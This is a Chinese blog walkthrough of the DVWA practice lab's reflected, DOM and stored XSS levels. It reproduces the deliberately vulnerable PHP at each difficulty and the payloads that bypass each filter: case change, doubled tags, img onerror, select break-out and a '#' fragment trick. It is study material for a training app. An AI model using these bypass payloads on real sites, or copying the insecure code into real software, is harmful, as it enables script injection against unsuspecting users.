sswqycbailong 2020-01-29
前言
关于XSS基础内容请查看:https://www.cnblogs.com/xhds/p/12239527.html
实验平台采用DWVA v1.10
XSS(Reflected)反射性XSS漏洞
XSS( Reflected)
1.low
<?php header ("X-XSS-Protection: 0"); if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) { echo ‘<pre>Hello ‘ . $_GET[ ‘name‘ ] . ‘</pre>‘; } ?>
分析代码 不存在任何过滤直接输入:<script>alert("xiaohua2020");</script>
成功弹窗!
2.medium
<?php header ("X-XSS-Protection: 0"); if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) { //这里有个str_replace()函数 匹配<script>如果匹配到则替换成空 $name = str_replace( ‘<script>‘, ‘‘, $_GET[ ‘name‘ ] ); echo "<pre>Hello ${name}</pre>"; } ?>
看代码前先学一个函数str_replace(find,replace,string,count)返回带有替换值的字符串或数组。
find | 必需。规定要查找的值。 |
replace | 必需。规定替换 find 中的值的值。 |
string | 必需。规定被搜索的字符串。 |
count | 可选。对替换数进行计数的变量。 |
那么我们思考过滤了直接输入<script>alert("xiaohua2020");</script> 是不行的 所以思考怎么才能绕过这个过滤1.大小写绕过<Script>alert("xiaohua2020");</script>2.双写绕过<scrip<script>t>alert(/xss/)</script>3.使用别的标签绕过<img src=0 onerror=alert(/xss1/)>
3.high
<?php header ("X-XSS-Protection: 0"); if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) { // 注意看这里preg_replace()进行模式匹配过滤 $name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] ); echo "<pre>Hello ${name}</pre>"; } ?>
preg_replace()函数执行一个正则表达式的搜索和替换
利用非script标签绕过
<img src=0 onerror=alert(/xss1/)>
<iframe onload=alert("111")></iframe>
4.impossible
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ ); //利用htmlspecialchars()函数进行HTML诗体过滤 $name = htmlspecialchars( $_GET[ ‘name‘ ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
xss(DOM) dom型XSS
1.LOW
<?php header ("X-XSS-Protection: 0"); if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) { echo ‘<pre>Hello ‘ . $_GET[ ‘name‘ ] . ‘</pre>‘; } ?>
不存在任何过滤直接利用!
payload:http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert("xiaohua2020");</script>
成功出发弹窗!
2.medium
<?php if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ ‘default‘ ]) ) { $default = $_GET[‘default‘]; //这里有个过滤stripos()在$defautl中查找<script如果查找到了执行if里面的内容 if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
这段代码首先4行接收数据到$default中,重点在stripos()这个函数 这个函数在$default中查找<script如果查找到了返回真 真!=false 则执行if里面的内容 否则不执行 我们要想办法使stripos返回真而且我们的恶意代码还能植入进去!
stripos(string,find,start)函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
string | 必需。规定要搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定开始搜索的位置。 |
既然过滤了script我们可以用别的标签<img src=0 onerror=alert(/xss1/)>payload:http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<img src=0 onerror=alert(/xss1/)>然而跟我们的预期不一样没有弹出 我们代码审查下发现我们植入的恶意代码被放在option标签里卖弄的额value里面了所以没有出发 所以我们继续要构造新的语法
构造过程构造语法试了"></option><img src=0 onerror=alert(/xss1/)><option value=" 不行因为泵在select标签里面执行所以我们要重新构造跳出select标签"></option></select><img src=0 onerror=alert(/xss1/)><select><option value="payload:http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default="></option></select><img src=0 onerror=alert(/xss1/)><select><option value="成功弹出弹窗!
3.high
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ ‘default‘ ]) ) { # White list the allowable languages switch ($_GET[‘default‘]) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
这里设置了白名单过滤仅让case里面的内容通过
我们可以利用#绕过url中有一个字符为# #在php中为注释字符所以注释后面的数据不会发送给服务器端,从而绕过服务端过滤构造语法未为:
#"></option></select><img src=0 onerror=alert(/xss1/)><select><option value="
payload:http://101.201.65.164/DVWA/vulnerabilities/xss_d/?default=French#"></option></select><img src=0 onerror=alert(/xss1/)><select><option value="
成功弹窗!
3.impossible
<?php # Don‘t need to do anything, protction handled on the client side#后端不要做任何事保持在客户端处理即可 ?>
xss(Stored)存储型XSS漏洞
1.LOW
<?php if( isset( $_POST[ ‘btnSign‘ ] ) ) { // Get input $message = trim( $_POST[ ‘mtxMessage‘ ] ); $name = trim( $_POST[ ‘txtName‘ ] ); // stripslashes()删除$message中的反斜杠 $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ ); //mysql_close(); } ?>
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
输入 <script>alert("xiaohua2020");</script>
成功弹窗!
2.Medium
<?php if( isset( $_POST[ ‘btnSign‘ ] ) ) { // Get input $message = trim( $_POST[ ‘mtxMessage‘ ] ); $name = trim( $_POST[ ‘txtName‘ ] ); // addslashes()函数为预定义符号加斜杠 strip_tages()剥取html、PHP等标签 $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( ‘<script>‘, ‘‘, $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ ); //mysql_close(); } ?>
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
看到$message被多次过滤而$name值未过滤我们可以通过$name传递,前端限制了$name长度我们可以通过审查元素增加它的长度
提交得到弹窗!
3.high
<?php if( isset( $_POST[ ‘btnSign‘ ] ) ) { // Get input $message = trim( $_POST[ ‘mtxMessage‘ ] ); $name = trim( $_POST[ ‘txtName‘ ] ); // //strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。 //addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。 $message = htmlspecialchars( $message ); // preg_replace()过滤 $name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ ); //mysql_close(); } ?>
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
上面三个函数都是对$messag进行过滤
preg_replace()正则匹配对$name进行过滤 所以我们想办法绕过$name这边的过滤就OK
3.impossible
<?php if( isset( $_POST[ ‘btnSign‘ ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ ); // Get input $message = trim( $_POST[ ‘mtxMessage‘ ] ); $name = trim( $_POST[ ‘txtName‘ ] ); // message部分输入经过stripslashes()删除反斜杠 htmlspecialchars()html实体两大过滤 $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // name部分也经过strpslashes()htmlspecialchars()两大过滤 $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( ‘INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );‘ ); $data->bindParam( ‘:message‘, $message, PDO::PARAM_STR ); $data->bindParam( ‘:name‘, $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
推荐优秀的类似文章
https://www.freebuf.com/articles/web/157953.html